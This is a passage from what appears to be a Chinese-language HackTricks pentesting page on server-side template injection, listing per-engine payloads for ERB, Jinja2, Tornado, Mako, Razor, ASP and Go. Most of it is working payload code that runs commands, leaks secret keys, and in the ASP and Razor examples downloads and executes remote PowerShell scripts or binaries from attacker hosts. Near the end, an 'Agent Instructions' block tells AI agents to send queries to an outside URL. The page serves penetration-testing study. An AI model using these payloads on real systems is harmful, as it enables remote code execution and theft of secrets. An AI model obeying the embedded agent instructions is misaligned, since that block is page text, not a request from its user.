<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```

**更多信息**

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby>

### Slim (Ruby)

* `{ 7 * 7 }`

```
{ %x|env| }
```

**更多信息**

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby>

### Python

查看以下页面，了解有关在Python中绕过沙盒进行**任意命令执行**的技巧：

{% content-ref url="/pages/3BPEOUUqev1SBMucQAtz" %}
[Bypass Python sandboxes](/generic-methodologies-and-resources/python/bypass-python-sandboxes.md)
{% endcontent-ref %}

### Tornado (Python)

* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Error`
* `{{7*'7'}} = 7777777`

```python
{% import foobar %} = Error
{% import os %}

{% import os %}







{{os.system('whoami')}}
{{os.system('whoami')}}
```

**更多信息**

* <https://ajinabraham.com/blog/server-side-template-injection-in-tornado>

### Jinja2 (Python)

[官方网站](http://jinja.pocoo.org)

> Jinja2是Python的一个功能齐全的模板引擎。它具有完整的Unicode支持，可选的集成沙盒执行环境，被广泛使用并且采用BSD许可证。

* `{{7*7}} = Error`
* `${7*7} = ${7*7}`
* `{{foobar}} 无`
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
* `<div data-gb-custom-block data-tag="debug"></div>`

```python
{% debug %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```

**Jinja2 - 模板格式**

```python
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}


```

[**不依赖**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__` 的 RCE：

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```

**关于如何滥用Jinja的更多细节**:

{% content-ref url="/pages/F4GHSNlkDMFxOkabLEfP" %}
[Jinja2 SSTI](/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md)
{% endcontent-ref %}

其他有效载荷请参考<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2>

### Mako (Python)

```python
<%
import os
x=os.popen('id').read()
%>
${x}
```

**更多信息**

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako>

### Razor (.Net)

* `@(2+2) <= 成功`
* `@() <= 成功`
* `@("{{code}}") <= 成功`
* `@ <= 成功`
* `@{} <= 错误！`
* `@{ <= 错误！`
* `@(1+2)`
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`

.NET的`System.Diagnostics.Process.Start`方法可用于在服务器上启动任何进程，从而创建Webshell。您可以在<https://github.com/cnotin/RazorVulnerableApp>找到一个易受攻击的Web应用示例。

**更多信息**

* <https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/>
* <https://www.schtech.co.uk/razor-pages-ssti-rce/>

### ASP

* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = 无
* `<%= response.write(date()) %>` = \<Date>

```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```

**更多信息**

* <https://www.w3schools.com/asp/asp_examples.asp>

### Mojolicious (Perl)

即使是 Perl，它也使用类似 Ruby 中的 ERB 标记。

* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`

```
<%= perl code %>
<% perl code %>
```

### GO 中的 SSTI

在 Go 的模板引擎中，可以使用特定的有效载荷来确认其使用方式：

* `{{ . }}`: 显示数据结构输入。例如，如果传递了一个带有 `Password` 属性的对象，`{{ .Password }}` 可能会暴露它。
* `{{printf "%s" "ssti" }}`: 预期显示字符串 "ssti"。
* `{{html "ssti"}}`, `{{js "ssti"}}`: 这些有效载荷应返回 "ssti" 而不附加 "html" 或 "js"。更多指令可以在 Go 文档中探索 [这里](https://golang.org/pkg/text/template)。

**XSS 利用**

使用 `text/template` 包，可以通过直接插入有效载荷来简单地进行 XSS 攻击。相反，`html/template` 包对响应进行编码以防止此类攻击（例如，`{{"<script>alert(1)</script>"}}` 的结果是 `&lt;script&gt;alert(1)&lt;/script&gt;`）。然而，在 Go 中，模板定义和调用可以绕过此编码：{{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet 复制代码

**RCE 利用**

`html/template` 和 `text/template` 之间的 RCE 利用方式有很大不同。`text/template` 模块允许直接调用任何公共函数（使用“call”值），而在 `html/template` 中不允许这样做。这些模块的文档可在 [这里查看 html/template](https://golang.org/pkg/html/template/) 和 [这里查看 text/template](https://golang.org/pkg/text/template/)。

对于 Go 中的 SSTI，可以调用对象方法来实现 RCE。例如，如果提供的对象具有执行命令的 `System` 方法，可以像这样利用它：`{{ .System "ls" }}`。通常需要访问源代码才能利用此功能，就像给定的示例中所示：

```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```

**更多信息**

* <https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html>
* <https://www.onsecurity.io/blog/go-ssti-method-research/>

### 更多利用

查看 <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection> 获取更多利用。您还可以在 <https://github.com/DiogoMRSilva/websitesVulnerableToSSTI> 中找到有趣的标签信息。

## BlackHat PDF

{% file src="/files/seUP6FPAh0d5BDngdlLR" %}

## 相关帮助

如果您认为有用，请阅读：

* [Flask技巧](/network-services-pentesting/pentesting-web/flask.md)
* [Python魔术函数](https://github.com/carlospolop/hacktricks/blob/cn/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)

## 工具

* <https://github.com/Hackmanit/TInjA>
* <https://github.com/vladko312/sstimap>
* <https://github.com/epinna/tplmap>
* <https://github.com/Hackmanit/template-injection-table>

## 暴力检测列表

{% embed url="<https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt>" %}

## 练习和参考

* <https://portswigger.net/web-security/server-side-template-injection/exploiting>
* <https://github.com/DiogoMRSilva/websitesVulnerableToSSTI>
* <https://portswigger.net/web-security/server-side-template-injection>

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​​[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点聚会。

{% embed url="<https://www.rootedcon.com/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/ssti-server-side-template-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
